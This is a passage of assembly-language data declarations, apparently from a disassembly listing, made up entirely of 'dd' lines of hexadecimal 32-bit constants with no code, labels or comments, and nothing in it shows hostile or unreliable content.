		dd 7B00BFD6h, 3E73EB3Ah, 4BDC6B3Ch, 9D0C810Bh, 6EE00919h
		dd 0F5C9639h, 5E049747h, 1ECECCDh, 104886FFh, 0D50026ECh
		dd 8A59FAAEh, 0AB3800E8h, 2C320753h, 76C40C0Dh,	0DA38CD3Dh
		dd 68F35F5Ah, 502D6910h, 0E8588EFEh, 84EC9214h,	0E170D680h
		dd 3002D433h, 430E653Fh, 98905D22h, 623E1241h, 78B82F50h
		dd 0DC265228h, 4DA1017Fh, 62767EB4h, 2FD5E41Dh,	2D6D4200h
		dd 73A9D2FBh, 0AB643CC0h
		dd 0E7C2A30Ch, 0A6F6A281h, 2BEC200Bh, 4894100Fh, 4054B46Ch
		dd 21675458h, 0FA4F8B25h, 0A4D525F8h, 562518C6h, 24B4C041h
		dd 0D0E69766h, 8CD26C01h, 1ACC9455h, 338CD46h, 0C2CEDA34h
		dd 104E8FB6h, 5F0F5C80h, 0BE87015Ah, 0DC296BD8h, 0ECE1A6E6h
		dd 0A8C7A93Fh, 28ED7604h, 7EAB2C01h, 0FC04E1h, 71D994h
		dd 1ED3AC3Ch, 5B2CE040h, 482E65Fh, 44345CB8h, 3CEC56D8h
		dd 0A575F501h, 795F2E2h, 4C4D939h, 80D6FF94h, 0BE5E7BEEh
		dd 0F52DAE12h, 0C798AF01h, 29803442h, 0D60FA395h, 0E3005D0Bh
		dd 1B746E4Dh, 0E829B21h, 3318F62Ch, 5487DA29h, 690038DEh
		dd 7EC68747h, 0D882B5C9h, 445AACA8h, 0A1654815h, 800C0954h
		dd 96C7320h, 0F8D41509h, 9CF905F4h, 0EA38EC5Ch,	7223E43Bh
		dd 5E75580Bh, 8C716974h, 87084F07h, 0C7D7BC70h,	82E7004Dh
		dd 0CECF9FD3h, 2AEF5ED8h, 7BE200B3h, 1A5C930h, 0F045AE15h
		dd 2B060E37h, 6BEF5495h, 0E8F02614h, 12813E08h,	594C0197h
		dd 2A8C7BC7h, 0C02006Bh, 0E9BE304Bh, 0CAC788E1h, 0F9924CB5h
		dd 0CFF060B8h, 0A22D3AF2h, 0E5E46DD2h, 1C94F2F0h, 0EC81EF2Eh
		dd 0C272528h, 0F5B61830h, 8424AE05h, 0D17820FBh, 3600E1EAh
		dd 41E62F7Eh, 21F90CEh,	47595A25h, 18608107h, 989CA899h
		dd 0F044C4ADh, 3C812576h, 0C5A55873h, 6076E420h, 0D24D90h
		dd 12E11DBEh, 0CFDD62B7h, 2880A16Fh, 1C65259Fh,	711ACE61h
		dd 0B288123Ah, 0A5E18818h, 0CA4BC870h, 0C23F1899h, 56096198h
		dd 48B5EB34h, 5E098207h, 1EC2ECC1h, 5C0043EDh, 0D70E3429h
		dd 32B158E5h, 0C188FCB2h, 465CA468h, 32FD007Bh,	0D810FCB5h
		dd 9539EAB3h, 320EC94h,	256A73A6h, 1871715Bh, 335360C4h
		dd 0DD8D454h, 2B006150h, 6CB7DC02h, 148738Eh, 0F525F97Eh
		dd 4EBF4978h, 0C0F78898h, 0B68506F8h, 0ED142E03h, 0FA68F62Dh
		dd 8498F413h, 0EFCCBACBh, 0E700E46Bh, 72DA2ED3h, 3E2FA6BEh
		dd 0E4844EEh, 0EB514732h, 401215C7h, 0AF250AE5h, 56CE5201h
		dd 0C8B3394h, 0F134D26Bh, 91D8972Bh, 0F028809Fh, 1C40740h
		dd 2D983D9Bh, 0FA665CC0h, 91603557h, 83A38076h,	0F245D150h
		dd 8F790153h, 0A2F4D38Eh, 0D4CF2ADAh, 72C17188h, 812F607Bh
		dd 4246965Ch, 4520E3ECh, 0F4DE6E5h, 6D2BAB81h, 175EB0C0h
		dd 800526FFh, 0F9BF68A1h, 6184F4FCh, 101481h, 21E21883h
		dd 25B848Eh, 54A1361Ch,	54FC60h, 6D145502h, 5E6854AAh
		dd 43073146h, 0AB7901DBh, 8B65E85Ch, 0AB1E00EDh, 34C34E44h
		dd 84E213h, 0D7225163h,	0EB74Fh, 15EE36D1h, 0C3DFAC73h
		dd 0C0CCB44Ah, 0B1140283h, 913F0F03h, 0F4D45Eh,	3687705Dh
		dd 0FED6FBC3h, 0CA9EF507h, 0F2D91776h, 120C5AF0h, 0B4F43030h
		dd 991FA41Fh, 0AAC1F8FFh, 91F2B2ADh, 73850B07h,	0A0A8B719h
		dd 44FECA6h, 0F54D5BCh,	77CE4040h, 2D27864Dh, 28799835h
		dd 97C84EA5h, 0D3121435h, 4F13FD0Eh, 0CB53A0DEh, 9DEDC67Bh
		dd 8C07C490h, 77D9C701h, 3BC0DE08h, 1EE00EE9h, 0E09B4EB1h
		dd 48943288h, 0DCFC7625h, 6C8EBF00h, 2D99C480h,	0F6434FE0h
		dd 6B8BE0ACh, 0F16A2584h, 0CB377858h, 0DB872191h, 2186E86h
		dd 0AB9AC483h, 945226D6h, 290173F0h, 9B48495Ah,	430A33Fh
		dd 0D2390578h, 0C723B7FFh, 0CC7C7268h, 3258E4DBh, 222BF1BDh
		dd 744013E4h, 94F56C6h,	0AC318A0h, 61807A63h, 259B0784h
		dd 41DA9022h, 9A5A95CDh, 6F21A8E6h, 3ABA8202h, 94462BF0h
		dd 0DBA840F5h, 21008FE9h, 33B5F3DAh, 54886C5h, 8DF7EBC2h
		dd 0C4840038h, 0B5F1DC98h, 8C2A3B13h, 0D2AC0CADh, 9A6EE704h
		dd 0FCAC1C2Fh, 6C33BBD2h, 302D8966h, 71013A00h,	0FA89CB0Bh
		dd 7924D1BEh, 28018F9h,	11FD70FEh, 74609B0Dh, 55829089h
		dd 99022496h, 5B2FB430h, 49CF1A6h, 269750CBh, 9B60D388h
		dd 3DB08200h, 407A4Dh, 0AF5545C9h, 0A9D4736Dh, 26760701h
		dd 938D0EDBh, 72C7A2Ah,	0FE290968h, 66FF5DE1h, 0B9EC813Ah
		dd 0AA8A01C5h, 0BE88E42Bh, 5320E4B0h, 6FE91F7Ch, 8383FCE7h
		dd 2766BAE2h, 4EE58BA0h, 0ED749490h, 71D3902Dh,	0EBDC806Ch
		dd 0BBE243C9h, 6C8B854Bh, 7461C721h, 289A6523h,	180321CBh
		dd 491D823Bh, 0C625258Bh, 0C426176Ch, 0BCA8A853h, 0B8128C91h
		dd 0C0CBFC1Ah, 0B4C074C8h, 723236h, 33BDF60Dh, 0D5D73CA7h
		dd 8B5E5F72h, 0B64A2843h, 59A2808Dh, 0FCF3EED3h, 0D8B3610Ah
		dd 72DB080Eh, 68A284E4h, 6EEA2095h, 65D0040h, 12CEF422h
		dd 588D64BDh, 0A36CBC9Eh, 9B595B1Ah, 948E8048h,	0B71FFD7Dh
		dd 0CC07AC10h, 0EB463F1Eh, 0F180DE9Dh, 8BB95B5Ah, 0D6D10055h
		dd 997BDA7Fh, 252566C6h, 26FC6E2Bh, 46506D48h, 0ACBC6A2Ch
		dd 0CB9542h, 6736ACC1h,	709CC495h, 0C0EC481Eh, 8985E2Eh
		dd 6F80400Eh, 0F53615FDh, 0F0644A7Ch, 0B0275C64h, 9970E827h
		dd 1CB67BEFh, 0DF3DBA78h, 3F040061h, 0D03E9FD8h, 0A04D2227h
		dd 7C24E834h, 0E161033Dh, 9E791F9Ch, 8882BEE0h,	8A0B8EFEh
		dd 0FEDF333Fh, 0B0B20024h, 0D7C57E66h, 97703697h, 0EC0346Dh
		dd 251AAD67h, 24799849h, 0D428F46Bh, 0B28CC400h, 362ACC37h
		dd 0BF1F0789h, 7BCD76C6h, 328888D6h, 81C24CFh, 0A206281Dh
		dd 9519FA52h, 8C088C66h, 0ADC04A5Ah, 7A08585Bh,	0C0D4E9E2h
		dd 0AFB709D4h, 1CC09D1Ah, 7C0F70E4h, 0CB9A23C6h, 0D6485C94h
		dd 0FC043346h, 0AE6A88AFh, 6EFA6424h, 0EE270244h, 0E7BA0824h
		dd 603044B4h, 62EE8E69h, 0F91268E5h, 3216B054h,	0A4D6480Ah
		dd 59987BADh, 56189Dh, 4A48DA0h, 68B03F6Ch, 419F792Dh
		dd 982BFC30h, 8E20527Ch, 0A3F14AC7h, 0A1F90E98h, 0BE018158h
		dd 0C423DA23h, 0AC22EC0Eh, 0D96AC140h, 90958DE9h, 718970h
		dd 29380C02h, 5F4586Eh,	0DDF13B1Ch, 447DBE8Bh, 3EA300F4h
		dd 0CC4F3243h, 3B481799h, 2C7B00B5h, 0B3BD5E5Ch, 79673A15h
		dd 0FCECF04Eh, 0B6258CACh, 5987119h, 0E85B716Ah, 200E2DB4h
		dd 601E509Ch, 0FE150044h, 5CC676BEh, 0F014A09Bh, 20B824CAh
		dd 5AA09293h, 0E224B3DCh, 68D53033h, 0C88B9A2Dh, 0FE6AEB8h
		dd 0F8FB8861h, 9CAB20E7h, 0B4121931h, 30BCEA38h, 0B81ED101h
		dd 3F897194h, 3023D43Eh, 0F0E08800h, 7C58AB8Ah,	0D3111256h
		dd 0C808CE7Bh, 99CEC03Eh, 9298D95Eh, 0A976C40Bh, 5CAC6923h
		dd 0BC8C8214h, 6962C05Ch, 18D7B2h, 0F7047F0Dh, 5B796F0Eh
		dd 1C6CECF1h, 0FC263416h, 8C90EC68h, 7EA5D101h,	4B2168AFh
		dd 8F358A7h, 671C817Bh,	1242CDF8h, 0B0C851BEh, 0F84A2914h
		dd 0A01B70E1h, 6AC0C2C0h, 0B5ADBB3h, 0F6D708E3h, 0C96AA060h
		dd 0EE3DECC5h, 204B00BCh, 63188050h, 1E760F2Dh,	609B60D3h
		dd 2B104780h, 7F090350h, 827D78E4h, 0DED08100h,	719F4020h
		dd 9200EA62h, 7568E85Eh, 0F85B98Ch, 0EF5A49CDh,	7C536529h
		dd 0BFC9570h, 7FA8F577h, 7E436C54h, 2F11D861h, 0CAD90998h
		dd 5CFCDD6Eh, 37ACB725h, 96C04FE2h, 82FACEAAh, 2CC2834Bh
		dd 0C53302D3h, 0EDE405h, 30E8BB25h, 0B161883h, 0CCBB611h
		dd 0C7C473C8h, 22E5A481h, 8F66044h, 0D5C2BE0h, 9593880h
		dd 2AFAACD1h, 54491C76h, 0F312DC08h, 0F3001481h, 216A4BD4h
		dd 0E47D4A47h, 382522F4h, 0DED8DEDFh, 0B2718B07h, 6C329432h
		dd 0F409579Dh, 2400C076h, 19688EA8h, 845297CBh,	13EBCF5Ch
		dd 84088FF6h, 0A9849220h, 0C8612EC0h, 0C248F901h, 5838182Dh
		dd 0D85C894Ah, 8301B372h
		dd 2F7C8AC1h, 58D8F448h, 0A0D87168h, 84A46698h,	0E105A670h
		dd 97753463h, 23BC3BFAh, 80780072h, 37704F12h, 0E6E1F925h
		dd 3066B5A8h, 0ADE65488h, 270E958h, 0FA18F715h,	40DC7440h
		dd 0B0E22223h, 0D200F378h, 75F06384h, 40E1964h,	0DE997B0Ch
		dd 3D30F48Bh, 0B8FFC700h, 8107E608h, 9EC90033h,	0FE1DB003h
		dd 84127EF2h, 94F238F0h, 0ACACBD88h, 583C4674h,	16670019h
		dd 0BA40A96Ch, 2D39F4ABh, 0CE5A408h, 0D16031E4h, 5B07F84Ch
		dd 3A2CA62Ah, 0C08DF642h, 275DBC24h, 0C4828AE4h, 40C1F7EAh
		dd 0D03471BDh, 63F8FC5Bh, 7B40BC9Ch, 48B0C635h,	0EE0423F7h
		dd 0AEA7F91Eh, 2BBED474h, 7523E4h, 7FB5C65Fh, 46127A06h
		dd 0D0F3FE4Dh, 3ED9FD84h, 0B10E3F23h, 0F2070782h, 28E4AFC1h
		dd 1185C62h, 54F36948h,	0F23B5E70h, 0E2038062h,	0FBA5E3BEh
		dd 0AEC30421h, 0B9A172C2h, 37580BB4h, 0C9A05C65h, 0D450D4h
		dd 0A91C3E40h, 7D0A1A42h, 0CF71F000h, 94BA9758h, 0ACEB09C0h
		dd 0E0C56235h, 336096E4h, 0DE008055h, 0BFA548BCh, 5D17796Ah
		dd 4F22EC68h, 1F6D6000h, 5D2E809Ah, 47EA1E57h, 83EB81E7h
		dd 2BBE6439h, 0F8C14D8h, 0B869B713h, 12C32D85h,	0B88CBD0Ch
		dd 5D2B00A0h, 66C6386Eh, 30BFCAB9h, 0CD3F20h, 6BC78587h
		dd 46A3B8F4h, 5C6C0B9Fh, 6A00DCC8h, 173C841Bh, 12EF2CEh
		dd 8C407669h, 3989588Fh, 381D01B0h, 0E65250F6h,	0C43D5DF0h
		dd 0BEAA8A99h, 0F8B9A894h, 118B8288h, 44B870EFh, 80B38E47h
		dd 0E827F804h, 0AFBDE8D0h, 1E1200C5h, 0AC2CFFAEh, 0C9302943h
		dd 0C5421EEh, 1A1F008Eh, 9BAF03DFh, 24B89746h, 8440D33Bh
		dd 60A4AB32h, 5E1FF8A8h, 903D9856h, 74B53A8h, 0ACC268ACh
		dd 7C564D1Ah, 2C7925h, 0ECE49B3Ch, 0A0025906h, 4AB68130h
		dd 1424FDE5h, 7C38058Ch, 0DF282404h, 6580F0E8h,	0A10AFACFh
		dd 0BC87D582h, 779C2BFh, 2B863449h, 0C48004C1h,	13618B30h
		dd 90F5665Eh, 54A17778h, 0BFDE7A12h, 2E27CC8h, 0B662D5ABh
		dd 0AC542687h, 7A60D0A4h, 166A94h, 0F28CAB39h, 8E1392F8h
		dd 0ECCA1005h, 3804F78h, 9FF95B67h, 1C2C461h, 58C6AA82h
		dd 0B4DE0054h, 0C61064D7h, 40756624h, 0C4267A05h, 64FC8956h
		dd 4869FC0Fh, 40D19D89h, 22E35704h, 0E9AC40BFh,	0CED9566Ch
		dd 0ED830C2h, 82E851B8h, 0ACF2CAADh, 1E2760D0h,	0A410E1E7h
		dd 80DC926Bh, 3218B875h, 2A460067h, 43AF6B95h, 0B22D8AD7h
		dd 0B480604Eh, 0C7012710h, 731B84E1h, 8839F0h, 99F0242Dh
		dd 0A27EC6F6h, 401C5E7Ch, 0BE451EC4h, 4FB76603h, 98C00BD7h
		dd 11164883h, 1264D3Ch,	0A7B712AAh, 0E62E46DEh,	0A6B5E0B0h
		dd 21B80017h, 6795345Bh, 0A4A9AC8Ah, 0C6EA201Eh, 7B48A603h
		dd 1789B017h, 252DADB0h, 0FDF081E8h, 0B3B8003Dh, 0ACC1B766h
		dd 24C5F17Ch, 0BE497220h, 0CCAD4BB4h, 2B001DB8h, 0A57C52C1h
		dd 9DCC963Eh, 9865835h,	20B0D0E6h, 2D0229D5h, 79675B7Ch
		dd 0A29380FFh, 0B7081FCCh, 26034EDh, 68F65h, 5D6F0D35h
		dd 28EA20B8h, 0DB93100Dh, 0B32A885Fh, 3070B280h, 0D52DEFCEh
		dd 6B487BA5h, 1DD4D4DCh, 9E241430h, 2AECC2DCh, 3CF6448Bh
		dd 0DCC75109h, 8C1FDC18h, 0EC802DB4h, 57C5BC50h, 2AC99E5h
		dd 0E2FEBB22h, 4396A8D3h, 0F4018C90h, 0F5F60165h, 0D2C16E59h
		dd 2C4730D6h, 9900A4EEh, 0DF9CC5D7h, 0BD16CAACh, 0AE8A4440h
		dd 0F101F4A8h, 7D1F3600h, 90E6CF74h, 7A22251Bh,	9569474h
		dd 0FDBF688Eh, 4A11248Fh, 2CD8C8h, 8515704Bh, 0EA55F668h
		dd 5DBBC00h, 0AFB9C08Ah, 0E90D0161h, 291AA5BFh,	0AC222F94h
		dd 6DFC6A13h, 9AF5E084h, 2200A4F9h, 1A72DEE2h, 0E250DEBh
		dd 0AB762071h, 845B2834h, 28F4F5E8h, 8C77E8B4h,	5D82C401h
		dd 76C6545Bh, 0ABF8943Fh, 2C0A88DDh, 0A5C07A88h, 2C644FAh
		dd 41893416h, 42577F2Fh, 0F0B57588h, 16254880h,	56E23D0h
		dd 0BAF734C6h, 0AE38D5AAh, 8A67A828h, 0AEA498FDh, 987A27F2h
		dd 268100FBh, 22286F48h, 58412C02h, 0A42C58F1h,	43C1283Dh
		dd 48E98876h, 94A4654Ah, 54E4B5D8h, 0D7092C1Fh,	0B2C31841h
		dd 9B6EBF89h, 0D0D38024h, 4CE2F57h, 1A2D4C4Ah, 4A54EC39h
		dd 0B10084BCh, 8DBD6B54h, 9917DB1Dh, 0F0F2EE3Eh, 0A03392F2h
		dd 4B9BE0Dh, 0C2AEFDCDh, 174B8C6h, 0C32962E9h, 7A6BBAD5h
		dd 38660558h, 30AB1D2Fh, 6BAF4C0h, 1AD7E4AAh, 0A0ED7588h
		dd 818203C0h, 226B2DDDh, 0C60024F9h, 5BF2643Ch,	0BAD85053h
		dd 83DC3AD0h, 69DA400h,	3624E48Fh, 0AE254899h, 0AFF9C75Ch
		dd 691E604Eh, 97DA4392h, 6D9724D2h, 66DAC00Ch, 0E7542720h
		dd 613A038Ch, 7A4B87A8h, 0AEFE0A3Bh, 0A57E64B4h, 4BD8A0F0h
		dd 68E38Fh, 0F1892039h,	0E28244h, 0A7FD1115h, 98068C7Dh
		dd 0EE7F0D00h, 0C5F6128Bh, 0B9CA05A6h, 0AF99C4D9h, 8A2A474h
		dd 4E3070B2h, 9DFD0987h, 0F8811828h, 6BCD4A53h,	0DB3EA4DDh
		dd 0BC0E80E8h, 0BD4FF8h, 58A1A9C2h, 9226ACC5h, 6A28A563h
		dd 744B9A21h, 0A45BE954h, 547FB70h, 726DCF9Ah, 2054FCFCh
		dd 0B48A5289h, 5DF45200h, 1445C67h, 614E421Fh, 3EEEFB12h
		dd 0FE23A8h, 5B2F65D8h,	4995EC06h, 7810CF0Ch, 9F31D6B9h
		dd 86BEE0A9h, 0CC90A6h,	87319325h, 539741AEh, 0C7F873A0h
		dd 737E1B4Bh, 0F618B725h, 0A6AD1318h, 33FAA264h, 771330D7h
		dd 4D4C71CCh, 989080B4h, 4AC20628h, 6624F09Bh, 27115612h
		dd 0DE25681Dh, 9AF340FCh, 0EB057E90h, 42ED48A4h, 0E539FD80h
		dd 27FF1392h, 3080C581h, 32177098h, 0C575B30Ch,	2FAE45A2h
		dd 9462348Eh, 0B5540077h, 2DAF103Bh, 0F0E09EC2h, 0DA957194h
		dd 0A71D0274h, 156369ECh, 0E860A1DDh, 3A2957h, 0E356AC98h
		dd 0CA22288Ah, 8CA29793h, 70E1A612h, 3AE2E1DDh,	0DBE0D4E6h
		dd 0F405EBABh, 21664BE6h, 3AF288F3h, 1B88630h, 0A82589D4h
		dd 0DDE5035Dh, 0F4403A27h, 8B3BBD06h, 668524DFh, 0F11B00E5h
		dd 0A2AB3347h, 900449D2h, 0A4E0DD6Eh, 0DEFC00DAh, 0D0788AB8h
		dd 0F312BC9h, 9268294Bh, 15D0BC8h, 78056FA6h, 3E9522A0h
		dd 57CFD8D2h, 2301D8B7h, 4C1B4D4Fh, 13D58E20h, 0E3B6D99Ah
		dd 2D3204A8h, 12BB52BBh, 182DAF38h, 6000DC63h, 403371C2h
		dd 871F9BE0h, 6F406D88h, 24591CEEh, 0F9D42589h,	0F151105Eh
		dd 88C8CF2Bh, 1A4EC03Ah, 0D9026DCEh, 9C29FB7Dh,	94C7ECFh
		dd 467820Fh, 8D607BC4h,	90002DAEh, 308AE5F1h, 2D56644Ah
		dd 0CC793D61h, 0E8502FDDh, 0C064ED9Dh, 0C156C4F8h, 0DCF02C68h
		dd 0D041B217h, 526E45Ch, 5DCCED2h, 0F0BDC7E8h, 798AC0DCh
		dd 0C0091754h, 75CA9258h, 7303A481h, 401D08DEh,	56126EEFh
		dd 7CF72149h, 38C8E25Eh, 0E0057F01h, 0B87C2F8Dh, 0D6B430AFh
		dd 0A84B36CAh, 0B0836CDCh, 974C90C0h, 7856F81Ah, 0E518FB5Eh
		dd 0B39CAA05h, 0A0E4425Ch, 297C5Eh, 0FA8CC296h,	7E709FFFh
		dd 0C2CE248h, 0D025156Eh, 52A33A22h, 3494C3CEh,	0C8F3F9CBh
		dd 68C0DF93h, 0C0958753h, 93CA60Ch, 9B9501E8h, 5EA7D85Bh
		dd 3FA0D480h, 0C125E551h, 0AFD860ACh, 0E377825Dh, 69029C90h
		dd 4F57ADB9h, 0E920E05Ch, 74415316h, 5B90E72Ah,	8AA018E6h
		dd 7E4E3056h, 0DB6A108Dh, 49E780D8h, 49766629h,	2C13DCD1h
		dd 7D888D7Ch, 6BD0B9F4h, 3F15029Dh, 0EE1DA486h,	0EDC345Ch
		dd 1216B6BAh, 0E8DA6724h, 40DB4B48h, 0C729C384h, 0C2AB6011h
		dd 0E8A26FECh, 58C9D48Bh
		dd 90403F0Eh, 9A39203Dh, 5B6C7F9Eh, 0DE90D0A0h,	8C092F9Ch
		dd 0C7CD913Eh, 607244A4h, 90CA5CBDh, 0B7715BDFh, 0C4222EB4h
		dd 28E30A08h, 6CBFBFE4h, 7E0C9A80h, 298548Ch, 0F33C2414h
		dd 98637DBCh, 5B9F2900h, 0D246A38Bh, 0FAEC00EDh, 0EAE75888h
		dd 7E901AEEh, 97018C84h, 9B6BAF23h, 43BDB72h, 0BBB05CCCh
		dd 0D83F82Ah, 0C5FBDE35h, 9A8A9CC8h, 0EEAFAB25h, 38AB9774h
		dd 6080B0B7h, 0B504D27Eh, 0CF100453h, 0AB8E22CAh, 0F63468CEh
		dd 186EAFA1h, 0A32DB502h, 6C00C632h, 81C42556h,	59BFE411h
		dd 0A2A4D700h, 0BE612CD4h, 0F879957Dh, 20ECA5h,	26A924A6h
		dd 7EC8713Bh, 1C4E3324h, 274FA853h, 98C41692h, 614C04F9h
		dd 5AA207C9h, 0BE09CC24h, 6B032802h, 72AFA404h,	512B8D80h
		dd 999F3FC8h, 409C9CEBh, 66C18172h, 0B597CAEEh,	873F91FCh
		dd 2DC017DDh, 13100BE7h, 5E537967h, 0A0A6F9C0h,	0E0253Fh
		dd 8231FAAEh, 250DA8A7h, 5AA5D8ECh, 9658F363h, 7A23642Eh
		dd 0F0CAEB00h, 0E9B8135h, 7513746Bh, 0DEA55F41h, 4FD1D3A8h
		dd 2C38703Eh, 0C32938C4h, 548B2C88h, 7BFC94h, 9D1A855h
		dd 0F41E92AFh, 713B700h, 510BE0B3h, 0B0EA073Ah,	0F0ACDB38h
		dd 430C8E5Fh, 76893F02h, 78FE8A6Eh, 4A2900F4h, 0E9447D40h
		dd 13002A8Dh, 52725ABEh, 2DB0E6h, 7559BD14h, 0E7620310h
		dd 87362E00h, 7C7360A0h, 2D2B00E6h, 7D7ABAB2h, 0AF077952h
		dd 94961266h, 91706770h, 8D1000Ch, 7F7A372Fh, 0ECED181Fh
		dd 5C00B028h, 8AEC4079h, 1BBA4Dh, 0CF1722BFh, 3A9FDD9Eh
		dd 381ED400h, 4E12551Ch, 675F3915h, 6E262E87h, 0BF87F085h
		dd 4907746Fh, 0D8ED24E3h, 38212FA0h, 0B81200D5h, 0D2EF1583h
		dd 360B197Bh, 0F90E4A6h, 1A540337h, 21D8D8D3h, 762300EDh
		dd 288703D2h, 3E00DD27h, 0DCAA694h, 3E58F85Ch, 35807274h
		dd 1B4093Ch, 807F74Bh, 18D76D63h, 0BD8DD510h, 30A5121Ch
		dd 9A4003Ah, 36EF4F1Fh,	0C6F67C00h, 0BA9EB4E6h,	7940B7Dh
		dd 20400A6Ch, 0CC00E37Fh, 0A71FF5E9h, 0D1B777h,	0D3E04856h
		dd 0B0EF7B7Eh, 11ABA400h, 18460ACBh, 929700D7h,	346EDFF7h
		dd 8FE86C90h, 271E6A12h, 720C4C40h, 0CFE35Ah, 0E728DEE8h
		dd 832CF791h, 0A5F4CE00h, 318BBBB0h, 0E0C2018Ah, 47899B9Ch
		dd 610ADD71h, 0B8F08E12h, 6FAFE0D6h, 189C9AB5h,	48E69376h
		dd 6E00F894h, 0BD243FCFh, 0F51920h, 1B1C7D85h, 0CBE348FFh
		dd 562BE417h, 0FA67C100h, 3D27747h, 694B3DF1h, 0CBBB04CCh
		dd 0A90FEEF8h, 3F7C5600h, 0D68C423h, 0F51E00F3h, 4DF6CAFCh
		dd 34FA757Fh, 8F373D3Bh, 0FB788690h, 98B4B389h,	21BB796h
		dd 0B4C1051h, 5C006141h, 0A5CB09h, 9624F74Fh, 0F8E17C2Bh
		dd 9F80FB00h, 40E4C546h, 42E503BCh, 6A8818CEh, 0A0A0AAE2h
		dd 0CC5808Dh, 3733EE00h, 0C80376E8h, 0EB7C0005h, 749FB327h
		dd 0BC0184A1h, 0F22DDE66h, 0E080D6A9h, 0E10C2FA5h, 0F8033732h
		dd 338F5C54h, 97B4C829h, 5AE4001Fh, 8E0FEB78h, 0DE003195h
		dd 0B6AC7F7h, 4C7C7B92h, 6F4C5A09h, 7DA4100Eh, 8415E421h
		dd 0EB5F434h, 7ECB4601h, 6A4B5171h, 4EB32C20h, 747CA4C7h
		dd 6C02CDECh, 53ED37Ah,	0FD648024h, 0FBFA0FBh, 0E5DF4CB0h
		dd 0EAB7CF1Dh, 0E0522180h, 0A40279B6h, 5CB2596Fh, 693040B5h
		dd 0BC6B0F6Eh, 7D403C49h, 8872C3A1h, 0C68E310Bh, 3E98D0ECh
		dd 0A683AAE9h, 0B50FAD8Ch, 8041E582h, 0FF5FDC19h, 0E9BD0603h
		dd 0AB99C6h, 0B30A57A9h, 0BC984AE3h, 55AE6303h,	0C8E2C31Bh
		dd 0FA822C41h, 0D8A10E81h, 0FA6CDE38h, 202C450h, 1ED0C0E1h
		dd 34106831h, 4C0A00CAh, 6A58E61Ch, 3A7F9DF9h, 0D2C43F18h
		dd 274DE39h, 0BB8EEFE5h, 0B3E0E435h, 1400AE52h,	9981B6EBh
		dd 19532A4h, 0C943925Fh, 30804EEAh, 0DD00C57Bh,	658B4A03h
		dd 26257779h, 3D33213Eh, 0B4447000h, 0A3544C26h, 37DA1209h
		dd 64108711h, 0D1B87500h, 0FFD80C2Dh, 0E528B5F9h, 0CD0EC17Ah
		dd 0C034BA81h, 0CE802833h, 0E3D700A4h, 5D86DAE4h, 0D000AC92h
		dd 9C6CF48Bh, 4160EA6h,	88CDA2E2h, 10BCA087h, 6346C300h
		dd 412878C5h, 187CAFh, 7A7FB8E0h, 0CBC881Dh, 48E43300h
		dd 0DA70F19Ah, 73DC0117h, 0DB2F0932h, 9BEF3024h, 0A7BF7500h
		dd 0F9716C57h, 5D90013Eh, 4DA43505h, 93CEF052h,	0BE874801h
		dd 0F253F8C1h, 3E869820h, 6812846Ah, 262D017Ah,	64D111B4h
		dd 8938FE50h, 64EB00A0h, 28C6B31Dh, 8A4802B6h, 12DA90A9h
		dd 2AD69440h, 0AC70EE00h, 38375643h, 0D82738FEh, 9F2EC50h
		dd 1BBBAFEFh, 123BAA80h, 4500851Ah, 3EFB4C4Bh, 50E1249Fh
		dd 94EF063h, 7FAFBFA7h,	251A8AAh, 56E71CBCh, 9690E260h
		dd 0A20A8971h, 0D4DDD666h, 7148C500h, 793E3629h, 0F40100C1h
		dd 4D7A211Ch, 90044745h, 0C440AE61h, 0D46FCC80h, 0E3760F95h
		dd 9400429Ah, 0C14D09Eh, 821B2214h, 268E00D9h, 461FDC7Ch
		dd 6F590AF7h, 3CFC7A34h, 0A421BD03h, 58882705h,	0A500370Ch
		dd 59772D69h, 0E6481A7Dh, 91A8005Ch, 0AFB98BE4h, 0D101EED0h
		dd 634AC41Fh, 0ADC0FC6h, 3FC00C1h, 0E1B399B9h, 4400E8DEh
		dd 8C17DB4Fh, 0E8AB8B53h, 27760078h, 0B8223930h, 0FE005C59h
		dd 9CE80AB5h, 0A88FA1h,	8A15BA6Fh, 0B9751CC5h, 0CA0BD000h
		dd 0A457E81Dh, 96E30009h, 8C638993h, 0E0015B52h, 18D19199h
		dd 0ED3032ADh, 0B7200E2h, 0AFF110CDh, 0A1799F4Eh, 59DFC407h
		dd 81709B30h, 88D59Ch, 46C7BF92h, 93E4242Dh, 8C00B090h
		dd 0FFF357Dh, 3E3E214Ch, 568040E3h, 0C0B895B2h,	24007DE1h
		dd 0D062EAA5h, 0ED5C8Ch, 7C70473h, 35854F52h, 0E8CA8200h
		dd 0B8E9B04Ch, 9EFF00E3h, 0F1D00754h, 0BA3DADCFh, 0FD5E00C2h
		dd 0C70CDAF2h, 4C0E0751h, 0C430CC33h, 89ACF414h, 1A070500h
		dd 0AC68F521h, 90770F9Dh, 94A0A226h, 0EBAAA7ADh, 0FE80A500h
		dd 3F08E70Bh, 964C00E0h, 2D17DCCh, 61018F44h, 0D37EB6B3h
		dd 1831481Ch, 7BBBE8h, 0F4431FD2h, 6DA38A58h, 0BBACC04h
		dd 8B8FACFh, 33637871h,	3211F508h, 42D21C0h, 0A651DE13h
		dd 8024984Bh, 0C5966CDCh, 0E8FB98BBh, 7D581E8Ch, 22EA8BAAh
		dd 87F76980h, 239D03A6h, 0D64D0BCCh, 63C22D59h,	0F943D886h
		dd 0D43EB91Eh, 4FCF817Fh, 0DED21183h, 8652E0h, 6A9F53C1h
		dd 68BA21C8h, 28E70CFh,	801EA745h, 22651030h, 87E707C0h
		dd 4BFFC4FDh, 25B24801h, 0DC344067h, 0A000A652h, 0EDFCF4Bh
		dd 0F8BF863Ch, 73E300F0h, 0A2DACE96h, 930F0224h, 0A370235Ah
		dd 81FA52E2h, 0B0C78CAEh, 4BB03Dh, 1D1E8E83h, 0D309D044h
		dd 99EC6000h, 2802CC6h,	346407BBh, 20B63DCCh, 0A7A3AD23h
		dd 0DB09030Bh, 57E80ACAh, 0E311EC00h, 0C654DCh,	55A1AD73h
		dd 0DDF49017h, 57E11C0Eh, 0FB81C03Fh, 85E08Eh, 0DE9C8471h
		dd 0E9A5B3B2h, 0F6E8B478h, 1393C300h, 0B72922A9h, 1D0F00E7h
		dd 3B8C9902h, 0BA00C298h, 20898540h, 0EADA650h,	978136D0h
		dd 0D9D32DA0h, 8A01E31Eh, 0DE35FB94h, 46FC72D5h, 2065BD83h
		dd 2E882750h, 1C3B792Fh, 1CE967ABh, 0E85D3B26h,	0CD95F740h
		dd 15CA85Dh, 0F604FA6Fh, 3B3AE48Dh, 0E05F0CA2h,	83888618h
